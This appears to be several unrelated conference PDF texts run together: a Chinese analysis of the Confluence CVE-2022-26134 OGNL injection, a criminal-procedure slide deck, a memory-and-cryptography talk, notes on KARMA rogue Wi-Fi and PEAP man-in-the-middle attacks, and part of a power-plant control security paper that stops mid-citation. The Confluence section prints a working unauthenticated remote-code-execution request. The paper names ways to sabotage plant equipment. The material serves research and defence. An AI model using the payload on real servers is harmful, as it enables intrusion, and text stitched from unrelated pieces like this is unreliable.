0x04 CVE-2022-26134 pre-auth RCE
Security Advisory
Confluence - CVE-2022-26134 - Critical severity unauthenticated RCE
vulnerability
Atlassian has been made aware of current active exploitation of a critical
severity unauthenticated remote code execution vulnerability in Confluence Data
Center and Server. The OGNL injection vulnerability allows an unauthenticated user
to execute arbitrary code on a Confluence Server or Data Center instance.
关键信息:
漏洞条件: unauthenticated 不需要任何权限
漏洞利用:
OGNL injection 漏洞本质 表达式语言 OGNL 的问题
Confluence EL Injection via OGNL
No. 16 / 22
补丁分析
diff补丁
移除了 ActionChainResult#execute() 中对 TextParseUtil.translateVariables() 的调
用。在 0x03 小节中,已经知道 translateVariables() 是存在 OGNL Injection 风险的:
现在只需要分析出如何触发 ActionChainResult#execute() 中的 OGNL Injection 即可。
com.opensymphony.xwork.ActionChainResult#execute
如图所示,调用 translateVariables() 对 namespace 进行处理,而 namespace 在 0x03 小
节中已确认为可控点:
Confluence EL Injection via OGNL
No. 17 / 22
所以 26134 也就呼之欲出了。
构造 poc 验证想法
1. 在 namespace 处插入 OGNL 表达式
如图,发现和预想的结果并不一样
经过之前的分析已知,对 /login.cation 请求在构建 result 时,取得的类是继承自
WebWorkResultSupport 的 EncodingVelocityResult ,最后执行的 Result#excute() 是
WebWorkResultSupport ,而不是 ActionChainResult 。
回忆一下:
针对 /xxx/login.action 的请求,在构建 this.result 时会根据 resultCode"input"
从 Map results 中取 resultConfig ,其 ClassName 决定了调用 Result#execute()
的子类。
/${2*2}/login.action
Q: 问题来了,如何构造请求可让其执行到 ActionChainResult#execute() 呢 ?
Confluence EL Injection via OGNL
No. 18 / 22
所以若想要调用到 ActionChainResult#execute() ,需要控制 resultConfig 的 className 为
ActionChainResult, resultConfig 由 resultCode 决定
从 results 分析可得,当 resultCode 等于以下值时:
可以让执行流程成功进入到 ActionChainResult#execute()。
最后对 notpermitted 进行搜索找到以下描述
notpermittedpersonal
readonly
notpermitted
notfound
Q: 该如何构造请求让其 resultCode 等于以上值呢 ?
A: 暂时没啥思路,只能继续啃文档。
Confluence EL Injection via OGNL
No. 19 / 22
顾名思义,访问一个没有权限的路径即可?比如图中的 /dashboard.action 。
再次构造 poc 验证想法
2. 在 namespace 处插入 OGNL 表达式
如图,和预想的结果一样,resultCode notpermitted
执行流程走到 ActionChainResult#execute , 调用 TextParseUtil.translateVariables 对
namespace 进行处理。
如图:
/${2*2}/dashboard.action
Confluence EL Injection via OGNL
No. 20 / 22
将 ${} 中的表达式提取出来执行,成功触发 OGNL Injection。
至此, 漏洞分析部分结束。
整个过程中,不管是梳理 Conflunence 的 HTTP 请求的处理流程时"意外"发现 OGNL Sink ,还是从
Sink 逐步定位到 Source ,都还蛮有意思。
漏洞复现
弹计算器
执行成功
curl -kI
"http:10.1.1.1:8090/%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22c
alc%22%29%7D/dashboard.action"
Confluence EL Injection via OGNL
No. 21 / 22
0x05 小结
未完待续。。。
Confluence Velocity SSTI
Confluence OGNL Injection
Confluence Post-Exploitation
参考:
1. https:commons.apache.org/proper/commons-ognl/
2. https:y4er.com/posts/cve-2022-26134-confluence-server-data-center-ognl-rce/
3. https:baike.baidu.com/item/webwork/486050
不足之处还请师傅们多多指点和纠正, respect
考虑到文章中难免会出现错误,所以后续若有纠正会在个人博客:https:pen4uin.github.io/ 进行
修改
Confluence EL Injection via OGNL
No. 22 / 22 | pdf |
Criminal Procedure Timeline
???
Stop
Search
Arrest
Questions
Appearance
Bail
Lets Make a Deal
Trial
???
Something happens which causes the police to
want to investigate you
Stop
Police are investigating something
In order to stop you to investigate, police must
have
"reasonable articulable suspicion" that "criminal
activity is afoot" - Terry v. Ohio
Search
In general* warrantless searches are
unconstitutional due to the ban on
unreasonable searches under the 4th
Amendment
Search
In general* warrantless searches are
unconstitutional due to the ban on
unreasonable searches under the 4th
Amendment
* - Exceptions to Warrant Req.
Terry - reasonable suspicion suspect is "armed and dangerous"
Automobiles
Arrest
Border crossing
Exigent Circumstances
Destruction of Evidence
Public Safety
Permission
Questioning Part 1
Miranda Warnings
Right to Silence
Right to an Attorney
Miranda given when a person is "in custody"
Miranda required if prosecutors later want to
introduce what you say against you at trial
Police are allowed to lie to you
Questioning Part 2
Once you have been appointed or retained
counsel on a particular case, you have
additional rights to have your attorney
present whenever police question you or you
appear in court on that case
Arrest
Police must have probable cause to arrest
In general, a person can be arrested for any
crime (possibly even a traffic violation)
First Appearance / Arraignment
You may have an initial appearance where the
only thing done is setting bail or releasing
you.
In many states, you have a right to bail.
Realistically, bail is always set except in
extremely serious cases (i.e. murder).
Bail
Cash bail only
vs.
Bail bonds
First Appearance / Arraignment 2
At your arraignment, you will receive a list of
the charges against you.
You must have an attorney present to assist
you at this point, or you will be appointed
one.
(sometimes bail setting will also be done at
your arraignment)
Charges
Only the prosecutor (district attorney) gets to
decide what you are charged with
Double Jeopardy - you can only be placed in
jeopardy (tried) once for a particular criminal
act
Lets Make a Deal
Throughout this process, starting at the
Arraignment, the prosecutor will likely offer a
plea deal
> 90% of all criminal cases in the US end in a
plea deal
Preliminary Hearing / Grand Jury
State may choose which method to indict you:
Preliminary Hearing
vs.
Grand Jury
Attorney-Client Relationships
Anything you say to your attorney is privileged - meaning it
is secret - as long as there are not other people in the
room not involved in your case
Only you can waive the attorney-client relationship - not the
attorney!
Only time attorney can tell someone else without your
permission is if there is a imminent threat of harm to
another person
Attorney's job is to advise you on the law, give you advice
about what to do, and make strategic decisions
Trial
At trial, a jury must find you guilty beyond a
reasonable doubt
Representing yourself is a bad idea
Questions
[email protected]
[email protected] | pdf |
Total
Recall
Implicit Learning as a
Cyptographic Primitive
Tess Schrodinger
• Introduction
• Curriculum vitae
• Cognitive Memory
• Consciousness
• Sub consciousness
Thoughts(&(Perceptions
Memories(&(Stored(Knowledge
Fears
Violent(Motives
Unacceptable(Sexual(Desires
Irrational(Wishes
Immoral(Urges
Shameful(Experiences
Selfish(Needs
Subconscious
Explicit Memory
• Episodic
• Semantic
Implicit Memory
Stages of Memory
• Encoding
• Storage
• Retrieval
• Context, Associate, Mood
ENVIRONMENTAL+
INPUT
SENSORY+INPUT
(Sight,+Sound,+Etc.)
SENSORY+MEMORY
(Iconic/Echoic)
FORGOTTEN
FORGOTTEN+THROUGH
INTERFERENCE+OR+
RETRIEVAL+FAILURE
LONG+TERM+MEMORY
MAINTENANCE
SHORT+TERM+MEMORY
FORGOTTEN+THROUGH
DECAY+OR+
DISPLACEMENT
Atkinson & Shiffrin Model
ATTENTION
RETRIEVAL
ELABORATE
REHEARSAL
LEADS.TO
STORAGE
REHEARSAL
Passwords & Human Memory Limitations
NUMBER.OF.NEURONS
1.BILLION
Number.of.connections.each
Neurons.forms.with.other.neurons
1,000
Resultant.number.of.connections
1.TRILLION
Total.Brain.Memory.Storage.Capacity
2.5$petabytes
(A$million$gigabytes)
Around.3.million.hours.of.TV.shows.
Current Research
“Neuroscience Meets Cryptography”
Conclusions
Questions | pdf |
1"
2"
3"
7"
8"
9"
10"
11"
12"
This"is"how"networks"show"up"in"your"network"list"when"searching"for"wifi"networks"
on"your"device."
13"
When"you"join"a"network,"this"interacCon"happens."
14"
15"
16"
KARMA"aKacks"do"exactly"the"same"thing"as"a"normal"associaCon,"it’s"just"an"evil"AP"
instead"of"the"actual"AP"doing"it."
17"
18"
19"
20"
This"is"why"KARMA"aKacks"weren’t"working"well,"we"weren’t"responding"to"the"
broadcast"probes.""
21"
22"
23"
In"trying"to"figure"out"the"issue,"we"went"to"the"place"we"should"always"see"probes,"
hidden"networks."Hidden"networks"don’t"return"the"ESSID"in"response"to"broadcast"
probes."
24"
The"AP"only"gives"up"it’s"name"if"the"device"probes"for"it"specifically"(i.e."you"must"
know"the"name"already)."
25"
26"
This"means"that"iOS"devices"are"passively"looking"for"beacons"from"hidden"networks."
Why"not"do"that"for"all"networks?"
27"
28"
29"
30"
31"
Probe"responses"contain"a"flag"indicaCng"whether"they"are"WEP,"WPA/2"PSK,"WPA/2"
EAP"etc."This"is"used"as"part"of"the"“uniqe”"match"for"PNL"networks."
32"
33"
This"specific"part"is"sCll"under"heavy"tesCng"at"the"Cme"of"wriCng."
34"
We"don’t"have"the"creds."But,"we"can"have"our"rogue"AP"act"as"a"WPA/2"network"and"
send"the"first"packet,"and"we"capture"the"second."We"don’t"have"the"right"key,"and"
can’t"generate"the"Temporal"key,"but"we"have"anonce"and"snonce"and"a"MIC"from"
the"client,"so"we"can"aKempt"to"brute"the"key"unCl"we"can"generate"a"MIC"for"the"
snonce"that"matches"the"clients."Josh"Wright’s"coWPAKy"tool"first"did"this."
35"
With"EAP,"we"have"a"similar"problem,"but"if"the"client"isn’t"validaCng"correctly,"we"
can"MitM."EAP"TLS"is"mutually"authenCcated"so"we"can’t"here"(just"included"for"a"
simpler"decripCon)."
36"
We"can"MitM"PEAP"and"PEAPdlike"EAPs"most"of"the"Cme."This"is"because"most"
configuraCons"don’t"validate"the"server"cert,"and"even"when"they"do,"there"is"no"CN"
name"match,"it’s"purely"on"authority."A"successful"MitM"gets"up"an"MSCHAPv2"
challenge"response"(depending"on"setup).""
37"
38"
39"
40"
41"
42"
43"
44"
45"
46"
47"
48" | pdf |
"The further the spiritual evolution of mankind advances, the more certain it seems to me that the path to
genuine religiosity does not lie through the fear of life, and the fear of death, and blind faith, but through
striving after rational knowledge."
-Albert Einstein
Industrial Cyber Security
From the Perspective of the Power Sector
Revision 1
July 28th 2010
Authored by:
Wade Polk
Paul Malkewicz
Jaroslav Novak
Industrial Cyber Security: From the Perspective of the Power Sector Page 2 of 65
July 28th 2010
Presented at DEFCON 18, July 29th through August 1st 2010, Riviera Hotel, Las Vegas NV
Abstract
Industrial control systems are flexible constructs that result in increased efficiency and
profitability, but this comes at the cost of vulnerability. In past years, industrial cyber security
has been mostly ignored due to cost, lack of understanding, and a low incidence rate. More
and more these systems rely on commercial, off the shelf software which increases the ease
and likelihood of an attack. Today, we face growing threats from individuals, foreign
governments and competing companies. The risks have increased by orders of magnitude.
This paper will provide an overview of control components common to the power
industry, common vulnerabilities, and the current situation with industry’s cyber infrastructure
as well as worst case scenarios. This paper provides a short overview of standards and
governances followed by recommendations to facilitate achieving compliance with overlapping
governances.
Industrial Cyber Security: From the Perspective of the Power Sector Page 3 of 65
July 28th 2010
Presented at DEFCON 18, July 29th through August 1st 2010, Riviera Hotel, Las Vegas NV
ABSTRACT ................................................................................................................................................................... 2
PREFACE ...................................................................................................................................................................... 4
1. INTRODUCTION TO PROCESS NETWORKS AND INDUSTRIAL CYBER SECURITY ..................................... 5
1.1. TYPICAL CONTROL HIERARCHY ..................................................................................................................................... 5
1.2. COMMON INTERNAL CONNECTIONS ............................................................................................................................... 6
1.3. COMMON EXTERNAL CONNECTIONS .............................................................................................................................. 7
1.4. PROTOCOLS .................................................................................................................................................................... 8
2. HAZARDS AND RISKS TO OPERABILITY ............................................................................................................ 9
2.1. INDUSTRIAL CYBER SECURITY INCIDENTS ..................................................................................................................... 9
2.2. POSSIBLE OUTCOMES OF AN ATTACK ......................................................................................................................... 10
3. GOVERNANCES AND STANDARDS ................................................................................................................... 13
3.1. NERC ............................................................................................................................................................................ 13
3.2. NIST .............................................................................................................................................................................. 13
3.3. NRC .............................................................................................................................................................................. 14
4. EXCEEDING COMPLIANCE WITH OVERLAPPING STANDARDS ................................................................... 15
4.1. PURPOSE ....................................................................................................................................................................... 15
4.2. SCOPE ........................................................................................................................................................................... 15
4.3. MANAGEMENT POLICIES, PROCEDURES & LIST .......................................................................................................... 15
4.3.1. Master Lists ......................................................................................................................................................... 15
4.3.2. Master Drawing ................................................................................................................................................... 17
4.3.3. Procedure 1: Policies ......................................................................................................................................... 18
4.3.4. Procedure 2: Information Protection ................................................................................................................ 18
4.3.5. Procedure 3: Physical Security Plan ............................................................................................................... 19
4.3.6. Procedure 4: Electronic Security Plan ............................................................................................................. 20
4.3.7. Procedure 5: Change Control and Configuration Management .................................................................. 21
4.3.8. Design Guides..................................................................................................................................................... 23
4.4. RECOMMENDATIONS FOR A TRUE DEFENSE-IN-DEPTH APPROACH ............................................................................ 23
4.4.1. Identification, Classification and Categorization ........................................................................................... 23
4.4.2. Electronic Security Controls and Measures .................................................................................................... 28
4.4.3. Physical Security Controls and Measures ...................................................................................................... 43
4.4.4. Security Reviews/Audits .................................................................................................................................... 51
4.4.5. Incident Response Planning ............................................................................................................................. 53
5. CASE STUDY: SECURITY FLAWS AND MITIGATION OF A PLC .................................................................... 53
6. CONCLUSIONS ...................................................................................................................................................... 54
7. APPENDIX A: EXAMPLES .................................................................................................................................... 56
8. SPECIAL THANKS ................................................................................................................................................. 59
9. CONTACT INFORMATION .................................................................................................................................... 59
10. DEFINITIONS ........................................................................................................................................................ 60
11. BIBLIOGRAPHY ................................................................................................................................................... 62
DISCLAIMER: THIS DOCUMENT PROVIDES NO GUARANTEES EITHER EXPRESS OR IMPLIED. THE AUTHORS ARE IN NO WAY
LIABLE FOR ANY DAMAGES RESULTING FROM THE USE OF THIS DOCUMENT.
Industrial Cyber Security: From the Perspective of the Power Sector Page 4 of 65
July 28th 2010
Presented at DEFCON 18, July 29th through August 1st 2010, Riviera Hotel, Las Vegas NV
Preface
Over the course of the last forty years, modern industrial plants have come to rely more
and more on complex networking and computing to automate and monitor processes within
the plant. This reliance on automated control has brought with it exponential increases in
efficiency, quality of product, safety, as well as many other advantages. Unfortunately, it also
brings with it vulnerabilities which can be exploited, either intentionally or unintentionally. This
can lead to loss of revenue, damage to equipment, injury, or even fatalities. With this in mind,
modern plant control systems must be designed with security as a primary goal.
As with any other type of technology, industrial controls technology is constantly
changing and evolving. New vulnerabilities are discovered at a rate which software and
hardware developers cannot keep up. Therefore the objective of a good security plan is not to
anticipate every possible type of attack, but instead to make systems more difficult to
compromise, particularly at the point of entry. A high-quality defense-in-depth strategy will
minimize the amount of damage any successful attack is able to do.
The aim of this paper will be to examine the current state of industrial automation
defense. It will look at current common vulnerabilities and real cases of intrusion into the
control networks of operating plants. It will then examine the various existing standards and
requirements for security of a power plant. Using these as a basis, an efficient method to
implement a security plan which will comply with each of these overlapping standards while
executing an effective security strategy will be proposed.
Although this paper will focus mainly on the power industry, the same methods are valid
for nearly any type of large industrial plant. Most of the components are identical in function
and design.
Industrial Cyber Security: From the Perspective of the Power Sector Page 5 of 65
July 28th 2010
Presented at DEFCON 18, July 29th through August 1st 2010, Riviera Hotel, Las Vegas NV
1. Introduction to Process Networks and Industrial Cyber Security
1.1. Typical Control Hierarchy
A control system is typically described by levels of control, with the lowest levels
corresponding to the most basic levels of control. Understanding this design method is
important because often times the Electronic Security Perimeters (ESPs) will mirror the
division of these levels; ESPs are discussed in section 4.4.2.1. Because each level of
control in a plant has a different level of criticality to the overall operation of the plant, as
well as different vulnerabilities to the various types of cyber attacks, varying types and
levels of security will apply. Because of this, it is important for the security plan to control
how and if one level of control is able to communicate with another level of control.
A typical industrial plant will have several discrete levels in its control system. There
exist several standard methods for describing each level. The one used here is the one
proposed in ISA standard 88.01 section 4.2.
The lowest level of control is the Control Module Level. This level describes basic input
and output (I/O) devices such as sensors (e.g. pressure, flow rate, temperature, turbidity,
etc.) and control devices (e.g. valves, motors, solenoids, burner controls, etc.) fundamental
to the power generation process in the field. The amount of intelligence is typically very
limited at this level, though some new smart devices are changing this trend.
Above the Control Module Level is the Equipment Module Level which performs basic
monitoring and control functions with input from and feedback to the Control Module Level
equipment. The equipment at this level can detect and respond to emergencies within its
area of control, usually by monitoring for conditions outside of the normal ranges of
operation. A programmable logic controller (PLC) or distributed control system (DCS) is
usually found at this level. Occasionally, a single loop controller (SLC) can be found within
this level.
Supervisory control and coordination functions between the various Equipment Module
Level hardware is performed by the Unit Level. The Unit Level is usually made up of
modules that together perform a specific task within the overall process. Supervisory
control and data acquisition (SCADA) systems are often found at this level, though more
and more the distinction between a DCS and a SCADA system has become blurred and
they are used nearly interchangeably.
The top level which spans the entire process is called the Process Cell Level which is
comprised of all the Unit Level hardware. The Process Cell Level is particularly important
in the coordination of an emergency, including one potentially caused by a hostile attack,
as it would coordinate the emergency action plan of all the levels below it.
The remaining 3 levels, Area Level, Site Level and Enterprise Level, are part of the
business network, which is split by organizational requirements. A Demilitarized Zone
Industrial Cyber Security: From the Perspective of the Power Sector Page 6 of 65
July 28th 2010
Presented at DEFCON 18, July 29th through August 1st 2010, Riviera Hotel, Las Vegas NV
separating these levels from the plant control levels is perhaps one of the most important
security precautions as usage and security within these levels is more relaxed then it is
within the lower levels of control1
.
Control Module
Equipment
Module
Unit
Process Cell
Area
Site
Enterprise
Business Network
Plant Control Network
Figure 1: Plant Control Architecture as described by ISA standard
88.01 Note that all levels are not required for every implementation.
DMZ
DMZ
TRUSTED ZONE
UNTRUSTED ZONE
1.2. Common Internal Connections
With a basic understanding of the control hierarchy of an industrial plant, the complexity
of communication between hardware at each level is apparent. Communication at the
lowest levels consists of field devices providing information in the form of a simple analog
or digital signal to a controller. From the device end this is accomplished with either a
digital signal, like in the case of a switch, or an analog signal which provides a continuous
measurement, such as pressure or temperature. More complex methods of communication
also exist at this level and are becoming very common in a plant setting. Protocols like
Profibus and Foundation Fieldbus allow additional information to be transmitted on the
same medium. This will be discussed in more detail at a later time.
1 ANSI/ISA. NSI/ISA-88.01-1995, Batch Control, Part 1: Models and Terminology. Research Triangle Park, North Carolina:
The Instrumentation, Systems and Automation Society, 1995.
Industrial Cyber Security: From the Perspective of the Power Sector Page 7 of 65
July 28th 2010
Presented at DEFCON 18, July 29th through August 1st 2010, Riviera Hotel, Las Vegas NV
The controller end of the lowest level usually consists of a PLC or DCS. PLCs use
ladder or Boolean logic to produce control outputs based on inputs received from the field.
DCSs use computers combined with graphics to interpret inputs in a more flexible way than
PLCs and can perform several functions in parallel.2
Because all connections at this level are internal, security measures should focus on
internal threats as well as segmentation. Access to the control system should be limited
and monitored. Equipment should be enclosed and physically secured where appropriate.
A true defense-in-depth approach should also protect the lower levels from failures that
occur at levels higher levels. This is accomplished through the use of firewalls, data diodes,
and other devices which control and restrict the flow of information between hardware, as
discussed in section 4.4.2.3, Protection of cyber devices
1.3. Common External Connections
At higher levels of the control architecture, connections to external networks typically
become more common. Most of these connections are intended, at least in an ideal world,
and usually required for plant operation. Unintended connections, like unsecured wireless
connections must be avoided at all costs. Wireless communication in an industrial setting
should be avoided in general, and only implemented when other options are not practical
and only on non-critical systems. Extra precautions should be implemented on wireless
devices including data protections like complex encryption and hard authentication; multi-
band frequency hopping should be used for transmission security and hardware protections,
of course, are required. Consider adjusting radio power and using directional antennas.
Intentional external connections are often connections to plant business networks, grid
networks or, on rare and dangerous occasions un-trusted zones like an enterprise networks
or even the web. These external connections typically allow information on plant operation
and output to be sent outside of the plant control system for production analysis, scheduling,
maintenance, load determination and other purposes. Often, external connections go to
networks that are used by personnel untrained in recognizing potential security dangers.
Because of the intended use of networks such as the business network, and the fact that it
is not considered a critical application from a generation standpoint, the level of security is
much lower and the incidence of exposure to external networks and the internet is much
higher. A combination of these factors makes this network a likely and often easy target for
a cyber attack, and navigation to plant networks may be easier than expected. Care must
be taken to secure the connection between these two networks to ensure data only flows
as intended, in the direction intended. Methods for doing this will be discussed in detail in
section 4.4.2.2 Protection of ESP Access Points. Care must also be taken to ensure that
data only flows through the intended connection points from one network to the other. A
fortuitous connection could easily allow unhindered access to the plants control system.
For this reason, connections between the two networks should be limited to as few
segments as possible, and those segments should be carefully monitored.
2 Liptak, Bela G. Instrument Engineers Handbook: Process Control and Optimization. Boca Raton, FL : CRC Press, 2006.
Industrial Cyber Security: From the Perspective of the Power Sector Page 8 of 65
July 28th 2010
Presented at DEFCON 18, July 29th through August 1st 2010, Riviera Hotel, Las Vegas NV
Because the lifespan of an industrial plant can span upwards of forty years or longer,
hardware and software must be kept up to date as technology evolves. Additionally, as
parts of a plant are upgraded or as new sections are added, it is important that the change
management process is followed carefully so that additional connections can be tracked
and monitored.
1.4. Protocols
Many communications protocols exist in a modern industrial plant. Currently, there is
no general agreement on a standard of communication, and as a result several competing
standards perform nearly the same function. It is a matter of preference which
communication philosophy is chosen. Many protocols have versions of the protocol
appropriate for both the device level of control as well as communication at higher levels of
the control architecture; hardware and software considerations are usually included during
the design of these versions. Examples of this include Serial MODBUS at the device level
and MODBUS TCP at the controller level, PROFIBUS PA at the device level and
PROFIBUS DP at the controller level. Foundation Fieldbus, a very common protocol, is an
open Fieldbus standard which also comes in two levels, H1 for device level communication
and HSE for communication between controllers.
There are several other common protocols worth mentioning here. HART protocol
allows analog devices to transmit additional information over the common 4-20 mA analog
instrument signal by shifting the frequency of the signal; this allows instrumentation to
continue operating while a user communicates with the device. Devicenet is another
communication protocol at the device level which allows several devices to be daisy-
chained together brought back to the controller on one pair of wires.3
Another standard worth mentioning here is the OLE for Process Control (OPC) data
access standard. OPC is an open standard governing the communication of data between
a device in the field and control equipment. This allowed devices which supported the OPC
standard to communicate with any type of control equipment which also supported this
standard with no additional interface required.
When choosing a protocol for plant communication, one must keep in mind that all
devices and controllers must be compatible with that protocol to minimize cost and
confusion. Because this is not always practical, bridges and converters exist to allow more
than one protocol to be used within a discrete network. When deciding what level of the
control hierarchy to protect and to what degree, protocols are often use as the deciding
factor.
3 Liptak, Bela G. Instrument Engineers Handbook: Process Control and Optimization. Boca Raton, FL : CRC Press, 2006.
Industrial Cyber Security: From the Perspective of the Power Sector Page 9 of 65
July 28th 2010
Presented at DEFCON 18, July 29th through August 1st 2010, Riviera Hotel, Las Vegas NV
2. Hazards and Risks to Operability
2.1. Industrial Cyber Security Incidents
The realities of the current situation with the industrial security infrastructure are bleak.
In general, control system design has not kept pace with the rest of the IT industry in terms
of security and the result is the state of affairs currently faced by Control System Engineers.
Part of the problem is owed to the fact that, although many plants are designed to last 40
years, the life span of many industrial plants can far exceed forty years. At their time of
design, cyber attacks were a non-existent threat and safeguards were not built into the
design of the control system. Without a well established and documented security plan,
including policies for change management, these aging control systems are often modified
with new undocumented and insecure ad-hoc connections which can compromise the
overall security of the plant. This situation, combined with a dramatic increase in attacks
driven by monetary and political motivators leaves all sectors of national infrastructure
including water, power, and manufacturing vulnerable to devastating attacks.
To understand the urgency of this situation, one needs to look no further then President
Obama’s Commission on Cyber Security which is quoted as saying “America’s failure to
protect cyberspace is one of the most urgent national security problems facing the new
administration.”4 This realization of the current state of affairs led to an early 2009 review
of the current state of affairs and efforts to shore up the nations vital networks. The review
highlighted a 10 item near-term action plan which included appointing a governmental
policy official tasked with coordinating national cyber security efforts, a position later
dubbed the “cyber czar”. Other items on the action plan included making cyber security a
national priority with measurable performance metrics to track progress and creating a
nation-wide cyber security awareness campaign.5
For fairly obvious reasons, publicly available detailed reports of industrial cyber security
incidents are not common. In 2009 the United States government confirmed that the US
power infrastructure is vulnerable to cyber attacks.6 Sources report that there had been
many intrusions into different plants across the country, sometimes leaving behind software
which could be used to take over or disable the system at a later time. Another CIA official
reported that there have been multiple cases of cyber attacks on power plants outside the
US in some cases followed by extortion demands.6
One such case of a targeted intrusion occurred in 2001 at a California utility responsible
for electric transmission. The invasion went undetected for nearly 20 days as attackers
gained access to a portion of the utility’s system that was under development through an
4 Center for Strategic and International Studies. Securing Cyberspace for the 44th Presidency. Washington: GPO, 2008.
5,6 The White House. Cyberspace Policy Review: Assuring a Trusted and Resilient Information and Communications
Infrastructure. Washington: GPO, 2009.
6 G`orman, Siobhan. "Electricity Grid in U.S. Penetrated By Spies." Wall Street Journal April 8 (2009):
http://online.wsj.com/article/SB123914805204099085.html.
Industrial Cyber Security: From the Perspective of the Power Sector Page 10 of 65
July 28th 2010
Presented at DEFCON 18, July 29th through August 1st 2010, Riviera Hotel, Las Vegas NV
un-firewalled connection. Additionally, unused ports were left open leaving the network
vulnerable. Thankfully, no damage was done to the system and power service was not
affected. Reports indicate that the attacker was attempting to penetrate further into the
network for access to more critical controls when the intrusion was discovered.7
Targeted attacks on plant control systems are not the only threat faced by these
networks. Because parts of many common plant control systems rely on off the shelf
operating platforms, they are also vulnerable to mass malware programs as well. This was
the case in 2003 when the Slammer worm brought down part of the safety monitoring
system at the then offline Davis-Besse nuclear plant in Ohio. The increased traffic from the
worm caused denial of services to parts of the plant safety and monitoring networks which
became inaccessible to other parts of the network. The worm entered the plant’s control
network through an unsecured contractor connection to the contractor’s business network
which bypassed normal firewalls.8 The Repository of Industrial Security Incidents (RISI)
released a report in March of 2010 indicating that nearly 50% of all reported cyber security
incidents were caused by viruses, worms and Trojans.9
In addition to defending against intentional malicious attacks, the security design of a
control system must also be prepared to deal with unintentional disgruntled employees and
security incidents caused by untrained users and faulty software. Although unintentional,
this type of incident can be just as dangerous, if not more so then an intentional attack
because it will often originate from inside the control network from a trusted source. This
was the case when in 1999 a petroleum pipeline in Washington exploded and led to the
deaths of three people. The cause of this incident, which many recognized to be the first
cyber incident which led directly to a fatality, was ruled to have been caused by a
combination of factors. One of the primary causes however, was a failure in the control
system which prohibited the operator from relieving pressure on the pipe to prevent the
explosion. An additional finding during the investigation of the incident was that adherence
to NIST standard 800-53, one of the standards referenced later in this document, could
have prevented the incident from ever occurring.10
2.2. Possible Outcomes of an Attack
The effects of a successful attack on an industrial control system can vary greatly
depending on what the system is controlling. A general control philosophy for protecting
critical or potentially dangerous processes is to put a system of interlocks into place. An
interlock is either a piece of hardware, or logic built into software to prevent equipment from
7 Mojain, Dan. "Hackers Victimize Cal-ISO." Los Angeles Times. 9 Jan. 2001:
http://articles.latimes.com/2001/jun/09/news/mn-8294.
8 Nuclear Regulatory Commission, United States. "NRC Issues Information Notice On Potential Of Nuclear Power Plant
Network To Worm Infection." Office of Public Affairs. 2 Sep. 2003: http://www.nrc.gov/reading-rm/doc-
collections/news/2003/03-108.html.
9 "RISI. 2009 Report on Control System Cyber Security Incidence Released. 30 Mar. 2010. Repository of Industrial Security
Incidents (RISI). http://www.securityincidents.org/members/news.asp?ID=13.
10 Singel, Ryan. "Industrial Control Systems Killed Once and Will Again, Experts Warn.." Wired. 9 Apr. 2008:
http://www.wired.com/threatlevel/2008/04/industrial-cont/.
Industrial Cyber Security: From the Perspective of the Power Sector Page 11 of 65
July 28th 2010
Presented at DEFCON 18, July 29th through August 1st 2010, Riviera Hotel, Las Vegas NV
operating in a way that it could damage itself or create a dangerous situation. An example
of an interlock is the device in a seatbelt that prevents the belt from extending when the
break is applied with a certain force. In many cases, the worst case outcome of an attack
is whatever occurs when one of these interlocks is broken. In the best case scenario, after
an attack has been detected it will be cleaned up, investigated, and the vulnerability will be
closed.
In some scenarios an incident could lead to expensive and potentially dangerous
equipment failures. Because of the presence of large quantities of energy rich fuels and
complex equipment and controls, many potentially dangerous scenarios exist. Often these
scenarios are documented within the logic of a control system and can be discovered
simply by deciphering the conditions that the logic tries to prevent. An example is the
algorithms that control the mixture of Oxygen and fuel in a boiler. These controls are
designed to manage the firing rate of a boiler, however if they were tampered with, it is
possible that the mixture could become fuel rich. If there was an influx of oxygen at that
point, a large explosion could result. In a well designed system, hardwired interlocks
should prevent this from happening; however these could be functioning incorrectly or be
disabled entirely.
Another possible scenario involving a boiler would be to disable the Forced Draft (FD)
fan, a fan which blows air into a boiler, while leaving the Induced Draft (ID) fan, a fan that
sucks air out of a boiler, running at full. Boilers are designed for normal operation at
around neutral pressure. The fans balance the pressure keeping the boiler at this neutral
operating pressure. However, if the balance is disturbed, the pressure produced by the
fans is enough to collapse the walls of a large boiler causing an implosion.
Other portions of the plant contain similar weaknesses. A steam turbine, for example
uses pressurized superheated steam to rotate the blades of a turbine to produce
mechanical energy. A valve and spray nozzle up stream of the turbine sprays water into
the steam to control the temperature. If this valve was allowed to open fully and spray
enough water to saturate the steam, droplets of water would blast the blades of the
turbine. This could warp or crack a turbine blade, a costly repair which could cause months
of down time.
Damage to plant equipment and injury or loss of life in areas near the incident are not
the only possible outcome of tampering with a control system. Many modern plants use a
process called Selective Catalytic Reduction (SCR) to decrease pollutants in plant
emissions by injecting them with Ammonia. Because the process requires a large amount
of ammonia, many plants store massive quantities of anhydrous ammonia on site. If a
weakness was found in the controls that allowed an attack to vent this gas to the
atmosphere it could pose a serious public health risk to a large area around the plant.
In 2007 a leaked government video showing a government demonstration known as
the “Aurora Generator Test” which displayed the affects of an exploited vulnerability in a
Industrial Cyber Security: From the Perspective of the Power Sector Page 12 of 65
July 28th 2010
Presented at DEFCON 18, July 29th through August 1st 2010, Riviera Hotel, Las Vegas NV
control system leading to the violent destruction of a turbine generator.11
The video, which
is light on details of the vulnerability, is a graphic demonstration of the type of damage that
can be done when the control network has been compromised by an entity with malicious
intent.
The feasibility of attacks on these major pieces of equipment is very much dependant
on the design of the control system. Often critical equipment will have redundant interlocks,
one set independent of the control network to prevent damage in the case of a control
system failure. Examples of this include pressure safety valves, set to open automatically
and relieve excess pressure when conditions reach a certain point. This device operates
without a signal from the control system. Careful planning and redundancy required on
some of the most dangerous equipment, like a nuclear reactor make the very worst
scenarios unlikely or nearly impossible.
Aside from being immediately dangerous to plant personnel, high risk equipment
failures like these can take months or years to repair and cost millions of dollars to rebuild.
In addition to the direct cost to repair the equipment, the power outages caused by this can
also have a devastating economic impact to the entire region. The 2003 power outage in
the Northeastern United States, which was ruled not to be the result of a cyber attack,
caused a loss of power for more than 50 million people, is estimated to have cost nearly $6
billion and lead to at least eleven fatalities.12
A similar result is a feasible result of a well
planned malicious attack plan.
Another concern is that of a cyber attack being used on US infrastructure as part of a
larger military offensive. Attacks like the ones mentioned above could be used to disable
vital parts of US Infrastructure leaving the US vulnerable in a time of war.
11 Bridis, Ted. "Government video shows mock hacker attack." MSNBC. 26 Sep. 2007:
http://www.msnbc.msn.com/id/21000386/%3E..
12 Minkel, JR. "The 2003 Northeast Blackout--Five Years Later." Scientific American. 13 Aug. 2008:
